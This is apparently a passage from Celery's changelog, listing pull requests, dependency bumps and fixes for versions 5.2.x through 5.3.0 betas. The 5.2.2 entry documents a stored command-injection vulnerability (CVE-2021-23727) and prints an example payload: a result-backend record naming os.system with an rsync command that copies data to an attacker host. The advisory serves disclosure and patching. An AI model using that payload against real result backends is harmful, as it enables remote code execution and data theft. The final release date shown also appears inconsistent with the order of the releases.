Remove unused variable _range by Kludex in 7813 - Add type annotation on concurrency/threads.py by Kludex in 7808 - Fix linter workflow by Kludex in 7816 - Scheduled weekly dependency update for week 42 by pyup-bot in 7821 - Remove .cookiecutterrc by Kludex in 7830 - Remove .coveragerc file by Kludex in 7826 - kombu>=5.3.0b2 by auvipy in 7834 - Fix readthedocs build failure by woutdenolf in 7835 - Fixed bug in group, chord, chain stamp() method, where the visitor overrides the previously stamps in tasks of these objects by Nusnus in 7825 - Stabilized test_mutable_errback_called_by_chord_from_group_fail_multiple by Nusnus in 7837 - Use SPDX license expression in project metadata by RazerM in 7845 - New control command revoke_by_stamped_headers by Nusnus in 7838 - Clarify wording in Redis priority docs by strugee in 7853 - Fix non working example of using celery_worker pytest fixture by paradox-lab in 7857 - Removed the mandatory requirement to include stamped_headers key when implementing on_signature() by Nusnus in 7856 - Update serializer docs by sondrelg in 7858 - Remove reference to old Python version by Kludex in 7829 - Added on_replace() to Task to allow manipulating the replaced sig with custom changes at the end of the task.replace() by Nusnus in 7860 - Add clarifying information to completed_count documentation by hankehly in 7873 - Stabilized test_revoked_by_headers_complex_canvas by Nusnus in 7877 - StampingVisitor will visit the callbacks and errbacks of the signature by Nusnus in 7867 - Fix "rm: no operand" error in clean-pyc script by hankehly in 7878 - Add --skip-checks flag to bypass django core checks by mudetz in 7859 - Scheduled weekly dependency update for week 44 by pyup-bot in 7868 - Added two new unit tests to callback stamping by Nusnus in 7882 - Sphinx extension: use inspect.signature to make it Python 3.11 compatible by mathiasertl in 7879 - cryptography==38.0.3 by auvipy in 7886 - Canvas.py doc enhancement by Nusnus in 7889 - Fix typo by sondrelg in 7890 - fix typos in optional tests by hsk17 in 7876 - Canvas.py doc enhancement by Nusnus in 7891 - Fix revoke by headers tests stability by Nusnus in 7892 - feat: add global keyprefix for backend result keys by kaustavb12 in 7620 - Canvas.py doc enhancement by Nusnus in 7897 - fix(sec): upgrade sqlalchemy to 1.2.18 by chncaption in 7899 - Canvas.py doc enhancement by Nusnus in 7902 - Fix test warnings by ShaheedHaque in 7906 - Support for out-of-tree worker pool implementations by ShaheedHaque in 7880 - Canvas.py doc enhancement by Nusnus in 7907 - Use bound task in base task example. Closes 7909 by WilliamDEdwards in 7910 - Allow the stamping visitor itself to set the stamp value type instead of casting it to a list by Nusnus in 7914 - Stamping a task left the task properties dirty by Nusnus in 7916 - Fixed bug when chaining a chord with a group by Nusnus in 7919 - Fixed bug in the stamping visitor mechanism where the request was lacking the stamps in the 'stamps' property by Nusnus in 7928 - Fixed bug in task_accepted() where the request was not added to the requests but only to the active_requests by Nusnus in 7929 - Fix bug in TraceInfo._log_error() where the real exception obj was hiding behind 'ExceptionWithTraceback' by Nusnus in 7930 - Added integration test: test_all_tasks_of_canvas_are_stamped() by Nusnus in 7931 - Added new example for the stamping mechanism: examples/stamping by Nusnus in 7933 - Fixed a bug where replacing a stamped task and stamping it again by Nusnus in 7934 - Bugfix for nested group stamping on task replace by Nusnus in 7935 - Added integration test test_stamping_example_canvas() by Nusnus in 7937 - Fixed a bug in losing chain links when unchaining an inner chain with links by Nusnus in 7938 - Removing as not mandatory by auvipy in 7885 - Housekeeping for Canvas.py by Nusnus in 7942 - Scheduled weekly dependency update for week 50 by pyup-bot in 7954 - try pypy 3.9 in CI by auvipy in 7956 - sqlalchemy==1.4.45 by auvipy in 7943 - billiard>=4.1.0,<5.0 by auvipy in 7957 - feat(typecheck): allow changing type check behavior on the app level; by moaddib666 in 7952 - Add broker_channel_error_retry option by nkns165 in 7951 - Add beat_cron_starting_deadline_seconds to prevent unwanted cron runs by abs25 in 7945 - Scheduled weekly dependency update for week 51 by pyup-bot in 7965 - Added doc to "retry_errors" newly supported field of "publish_retry_policy" of the task namespace by Nusnus in 7967 - Renamed from master to main in the docs and the CI workflows by Nusnus in 7968 - Fix docs for the exchange to use with worker_direct by alessio-b2c2 in 7973 - Pin redis==4.3.4 by auvipy in 7974 - return list of nodes to make sphinx extension compatible with Sphinx 6.0 by mathiasertl in 7978 - use version range redis>=4.2.2,<4.4.0 by auvipy in 7980 - Scheduled weekly dependency update for week 01 by pyup-bot in 7987 - Add annotations to minimise differences with celery-aio-pool's tracer.py. by ShaheedHaque in 7925 - Fixed bug where linking a stamped task did not add the stamp to the link's options by Nusnus in 7992 - sqlalchemy==1.4.46 by auvipy in 7995 - pytz by auvipy in 8002 - Fix few typos, provide configuration + workflow for codespell to catch any new by yarikoptic in 8023 - RabbitMQ links update by arnisjuraga in 8031 - Ignore files generated by tests by Kludex in 7846 - Revert "sqlalchemy==1.4.46 (7995)" by Nusnus in 8033 - Fixed bug with replacing a stamped task with a chain or a group (inc. links/errlinks) by Nusnus in 8034 - Fixed formatting in setup.cfg that caused flake8 to misbehave by Nusnus in 8044 - Removed duplicated import Iterable by Nusnus in 8046 - Fix docs by Nusnus in 8047 - Document --logfile default by strugee in 8057 - Stamping Mechanism Refactoring by Nusnus in 8045 - result_backend_thread_safe config shares backend across threads by CharlieTruong in 8058 - Fix cronjob that use day of month and negative UTC timezone by pkyosx in 8053 - Stamping Mechanism Examples Refactoring by Nusnus in 8060 - Fixed bug in Task.on_stamp_replaced() by Nusnus in 8061 - Stamping Mechanism Refactoring 2 by Nusnus in 8064 - Changed default append_stamps from True to False (meaning duplicates … by Nusnus in 8068 - typo in comment: mailicious => malicious by yanick in 8072 - Fix command for starting flower with specified broker URL by ShukantPal in 8071 - Improve documentation on ETA/countdown tasks (8069) by norbertcyran in 8075 .. _version-5.3.0b1: ``` ### 5.3.0b1 ``` ======= :release-date: 2022-08-01 5:15 P.M UTC+6:00 :release-by: Asif Saif Uddin - Canvas Header Stamping (7384). - async chords should pass it's kwargs to the group/body. - beat: Suppress banner output with the quiet option (7608). - Fix honor Django's TIME_ZONE setting. - Don't warn about DEBUG=True for Django. - Fixed the on_after_finalize cannot access tasks due to deadlock. - Bump kombu>=5.3.0b1,<6.0. - Make default worker state limits configurable (7609). - Only clear the cache if there are no active writers. - Billiard 4.0.1 .. _version-5.3.0a1: ``` ### 5.3.0a1 ``` ======= :release-date: 2022-06-29 5:15 P.M UTC+6:00 :release-by: Asif Saif Uddin - Remove Python 3.4 compatibility code. - call ping to set connection attr for avoiding redis parse_response error. - Use importlib instead of deprecated pkg_resources. - fix 7245 uid duplicated in command params. - Fix subscribed_to maybe empty (7232). - Fix: Celery beat sleeps 300 seconds sometimes even when it should run a task within a few seconds (e.g. 13 seconds) 7290. - Add security_key_password option (7292). - Limit elasticsearch support to below version 8.0. - try new major release of pytest 7 (7330). - broker_connection_retry should no longer apply on startup (7300). - Remove __ne__ methods (7257). - fix 7200 uid and gid. - Remove exception-throwing from the signal handler. - Add mypy to the pipeline (7383). - Expose more debugging information when receiving unknown tasks. (7405) - Avoid importing buf_t from billiard's compat module as it was removed. - Avoid negating a constant in a loop. (7443) - Ensure expiration is of float type when migrating tasks (7385). - load_extension_class_names - correct module_name (7406) - Bump pymongo[srv]>=4.0.2. - Use inspect.getgeneratorstate in asynpool.gen_not_started (7476). - Fix test with missing .get() (7479). - azure-storage-blob>=12.11.0 - Make start_worker, setup_default_app reusable outside of pytest. - Ensure a proper error message is raised when id for key is empty (7447). - Crontab string representation does not match UNIX crontab expression. - Worker should exit with ctx.exit to get the right exitcode for non-zero. - Fix expiration check (7552). - Use callable built-in. - Include dont_autoretry_for option in tasks. (7556) - fix: Syntax error in arango query. - Fix custom headers propagation on task retries (7555). - Silence backend warning when eager results are stored. - Reduce prefetch count on restart and gradually restore it (7350). - Improve workflow primitive subclassing (7593). - test kombu>=5.3.0a1,<6.0 (7598). - Canvas Header Stamping (7384). .. _version-5.2.7: ``` ### 5.2.7 ``` ===== :release-date: 2022-5-26 12:15 P.M UTC+2:00 :release-by: Omer Katz - Fix packaging issue which causes poetry 1.2b1 and above to fail install Celery (7534). .. _version-5.2.6: ``` ### 5.2.6 ``` ===== :release-date: 2022-4-04 21:15 P.M UTC+2:00 :release-by: Omer Katz - load_extension_class_names - correct module_name (7433). This fixes a regression caused by 7218. .. _version-5.2.5: ``` ### 5.2.5 ``` ===== :release-date: 2022-4-03 20:42 P.M UTC+2:00 :release-by: Omer Katz **This release was yanked due to a regression caused by the PR below** - Use importlib instead of deprecated pkg_resources (7218). .. _version-5.2.4: ``` ### 5.2.4 ``` ===== :release-date: 2022-4-03 20:30 P.M UTC+2:00 :release-by: Omer Katz - Expose more debugging information when receiving unknown tasks (7404). .. _version-5.2.3: ``` ### 5.2.3 ``` ===== :release-date: 2021-12-29 12:00 P.M UTC+6:00 :release-by: Asif Saif Uddin - Allow redis >= 4.0.2. - Upgrade minimum required pymongo version to 3.11.1. - tested pypy3.8 beta (6998). - Split Signature.__or__ into subclasses' __or__ (7135). - Prevent duplication in event loop on Consumer restart. - Restrict setuptools>=59.1.1,<59.7.0. - Kombu bumped to v5.2.3 - py-amqp bumped to v5.0.9 - Some docs & CI improvements. .. _version-5.2.2: ``` ### 5.2.2 ``` ===== :release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz - Various documentation fixes. - Fix CVE-2021-23727 (Stored Command Injection security vulnerability). When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in 4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: ``os.system("rsync /data attacker192.168.56.100:~/data")`` by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload ``rsync /data attacker192.168.56.100:~/data`` as the exception arguments like so: .. code-block:: python { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker192.168.56.100:~/data" } According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading. .. _version-5.2.1: ``` ### 5.2.1 ``` ===== :release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin - Fix rstrip usage on bytes instance in ProxyLogger. - Pass logfile to ExecStop in celery.service example systemd file. - fix: reduce latency of AsyncResult.get under gevent (7052) - Limit redis version: <4.0.0. - Bump min kombu version to 5.2.2. - Change pytz>dev to a PEP 440 compliant pytz>0.dev.0. - Remove dependency to case (7077). - fix: task expiration is timezone aware if needed (7065). - Initial testing of pypy-3.8 beta to CI. - Docs, CI & tests cleanups. .. _version-5.2.0: ``` ### 5.2.0 ``` ===== :release-date: 2023-11-06 10:55 A.M